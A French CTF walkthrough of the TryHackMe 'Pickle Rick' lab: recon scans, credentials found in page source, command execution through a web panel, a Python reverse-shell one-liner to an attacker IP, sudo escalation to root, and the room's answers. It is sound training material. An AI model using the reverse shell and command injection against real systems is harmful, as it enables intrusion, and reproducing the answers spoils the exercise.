TryHackMe - Pickle Rick Challenge
Rick is sup4r cool
Aujourd'hui nous nous attaquons à la Room Pickle Rick de TryHackMe !
Cette room est gratuite et accessible à tout le monde. (Accessible ici)
L'objectif est de retrouver la potion composée de 3 ingrédients permettant de rendre la forme humaine à Rick actuellement transformé en cornichon.
Lancer votre Machine victime et s'est parti !
Créeons une variable IP que nous pourrons réutiliser dans notre shell.
export IP = 10.10.8.241
Task 1
Nous allons démarrer la reconnaissance, tout d'abord en identifiant les ports ouverts sur la machine :
nmap -sC -sV 10.10.8.241
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 21:26 CEST
Nmap scan report for 10.10.8.241
Host is up (0.021s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f1:a0:48:4f:3d:37:3a:32:4e:e0:e3:f0:8b:3e:c3:97 (ECDSA)
|_ 256 5a:29:be:67:ae:ca:0b:3e:0a:c3:98:38:4a:bc:25:c6 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds
Donc seulement 2 ports ouverts :
- le port 80 pour le site web qui utilise Apache/2.4.18 (ubuntu)
- le port 22 pour l'accès SSH (qui utilise OpenSSH 7.2p2 sur Ubuntu avec protocol 2.0)
Task 2
lançons nikto voir s'il peut nous apporter des informations complémentaires...
nikto -h http://$IP | tee nikto.log
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.8.241
+ Target Hostname: 10.10.8.241
+ Target Port: 80
+ Start Time: 2021-03-29 21:47:01 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x426 0x5818ccf125686
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7517 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2021-03-29 21:50:03 (GMT2) (182 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nous identifions quelques points faibles mais surtout nous trouvons une page login.php
cachée
Task 3
Lançons gobuster
pour rechercher d'autres fichiers / pages ou dossiers qui seraient cachés.
gobuster dir -u http://$IP -w /Users/julienlange/Desktop/pentest/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,cgi,sh
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.8.241
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Users/julienlange/Desktop/pentest/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt,cgi,sh
[+] Timeout: 10s
===============================================================
2021/03/29 22:18:32 Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 882]
/assets (Status: 301) [Size: 311] [--> http://10.10.218.3/assets/]
/portal.php (Status: 302) [Size: 0] [--> /login.php]
/robots.txt (Status: 200) [Size: 17]
Intéressant!
On retrouve :
- la page de login (
login.php
) - une page "
portal.php
" qui semble rediriger actuellement vers login.php --> cette page doit probablement être une page accessible uniquement lorsque on est loggé. - et un fichier
robots.txt
Task 5
Examinons le fichier robots.txt :
il contient la chaine suivante :
Wubbalubbadubdub
Task 6
Rendons-nous sur la page d'accueil http://10.10.8.241 et analysons le code source (view-source:http://10.10.8.241/):
On y découvre l'information suivante :
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
En regardant les scripts importés, on découvre aussi un repertoire /assets.
Lorsque l'on se dirige sur http://10.10.8.241/assets on retrouve :
Task 7
Rendons-nous sur la page login.php
que nous avons découvert tout à l'heure.
- Tentons de saisir le username trouvé et un mot de passe bidon on obtient une erreur.
- Voyons si une injection SQL est possible en mettant simplement un apostrophe
'
en username.
Encore un message d'erreur - tentons
R1ckRul3s' OR 1=1--
sans succès - Je tente un bruteforce avec dictionnaire et subtitution de chaine avec Burp Suite
Sans succes - Rappelez vous nous avions trouvé une chaîne de caractères étrange dans le fichier
robots.txt
Tentons la chaineWubbalubbadubdub
en tant que mot de passe et toujoursR1ckRul3s
en username . - BINGO ! on a accès à la page
portal.php
- Regardons le code source et examinons chaque lien.
--> tous nous dirige versdenied.php
On découvre le message : Only the REAL rick can view this page. - Retournons sur le lien
commands
, et tentons de taper la commandels
Ouah !!! nous obtenons la structure racine du site :
Sup3rS3cretPickl3Ingred.txt
assetsclue.txt
denied.php
index.html
login.php
portal.php
robots.txt
Nous découvrons 2 nouveaux fichiers :
- regardons le 1er :
en tentant d'executer la commandecat Sup3rS3cretPickl3Ingred.txt
, nous avons un message nous indiquant que ce n'est pas possible. - rendez-vous directement sur
http://$IP/Sup3rS3cretPickl3Ingred.txt
on peut lire le texte suivant :
mr. meeseek hair
==> cela ressemble à notre réponse à la premiere question ! - faisons de même avec le fichier clue.txt en se rendant sur
http://$IP/clue.txt
:
Look around the file system for the other ingredient.
Ok on va devoir se "balader" dans le file system pour trouver d'autres ingrédients
Task 8
A présent regardons le code source de la page portal.php
. (cmd + opt +I)
<!DOCTYPE html>
<html lang="en">
<head>
<title>Rick is sup4r cool</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="assets/bootstrap.min.css">
<script src="assets/jquery.min.js"></script>
<script src="assets/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-inverse">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="#">Rick Portal</a>
</div>
<ul class="nav navbar-nav">
<li class="active"><a href="#">Commands</a></li>
<li><a href="/denied.php">Potions</a></li>
<li><a href="/denied.php">Creatures</a></li>
<li><a href="/denied.php">Potions</a></li>
<li><a href="/denied.php">Beth Clone Notes</a></li>
</ul>
</div>
</nav>
<div class="container">
<form name="input" action="" method="post">
<h3>Command Panel</h3></br>
<input type="text" class="form-control" name="command" placeholder="Commands"/></br>
<input type="submit" value="Execute" class="btn btn-success" name="sub"/>
</form>
<!-- Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0== -->
</div>
</body>
</html>
on y trouve tout en bas une chaine de caractère en commentaire qui ressemble étrangement à une chaîne encodé en Base64 :Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==
Utilisons le decoder dans Burpsuite (ou la commande base64
à votre convenance) au bout de 6 décodages on obtient la chaîne en clair :
rabbit hole
Autrement dit cette trouvaille est inutile 😃
On peut également procéder avec la commande base64 :
Task 9
Poursuivons notre jeu en regardant quels sont les users dans le repertoire home :ls /home
on découvre :rick
ubuntu
regardons de plus prêt :ls /home/rick
on y découvre un fichier 'second ingredients
'
essayons de le lire :cat /home/rick/second\ ingredients
ne fonctionne pas !
tentons nl /home/rick/second\ ingredients
parfait, nous avons notre second ingredient :1 1 jerry
ceci est notre 2ème ingrédients !
Task 10
voyons si l'on peut trouver des clés nous permettant de nous logger en ssh :ls /etc/ssh
nous obtenons :
modulissh_config
ssh_host_dsa_key
ssh_host_dsa_key.pub
ssh_host_ecdsa_key
ssh_host_ecdsa_key.pub
ssh_host_ed25519_key
ssh_host_ed25519_key.pub
ssh_host_rsa_key
ssh_host_rsa_key.pub
ssh_import_id
sshd_config
Pour lire le contenu vous pouvez utiliser : nl
ou grep . [fichier]
(la 1ère commande à l'avantage / inconvénient d'ajouter le numéro de ligne)
Avant d'aller plus loin et compte tenu que nous sommes en mesure d'envoyer des commandes system, essayons de voir si python est installé sur la machine :python -c "print('hello')"
Malheureusement pas de résultat :
Ne nous avouons pas vaincu et tentons la même chose mais avec Python3
python3 -c "print('hello')"
--> Python3 fonctionne sur la machine !!!
Essayons un reverse shell python !
- d'abord récupérons notre adresse IP (celle de l'attaquant) :
ifconfig
et récupérer l'ip utun0 (ou autre si vous avez plusieurs tunnel openvpn) - puis mettons notre machine d'attaque en écoute :
nc -lvn 12345
- Sur la page portal.php entrez la commande suivante :
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP-ATTAQUANT",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);os.system("/bin/sh -i")'
Après avoir exécuter la commande nous avons désormais accès à la machine en reverse shell.
Parcourons le file system :cd / && ls
Le dossier root est visible
Tentons d'y accéder :
Nous n'avons pas l'autorisation, tentons une escalation de privilège !
sudo bash
cd /root
ls
3rd.txt
snap
Et bien voilà, il ne reste plus qu'à lire le contenu des fichier :
grep . /root/3rd.txt
ce qui nous donne :
3rd ingredients: fleeb juice
Nous avons notre 3ème ingrédient !!:
Il ne reste désormais plus qu'à répondre aux questions posées.
J'espère que vous aurez aimé ce challenge ! il est classé niveau facile sur TryHackMe, si vous êtes intéréssé par ce type de contenu, abonnez vous gratuitement à la newsletter !
A bientôt
J.L
Réponse aux Questions
What is the first ingredient Rick needs?mr. meeseek hair
Whats the second ingredient Rick needs?1 jerry tear
Whats the final ingredient Rick needs?fleeb juice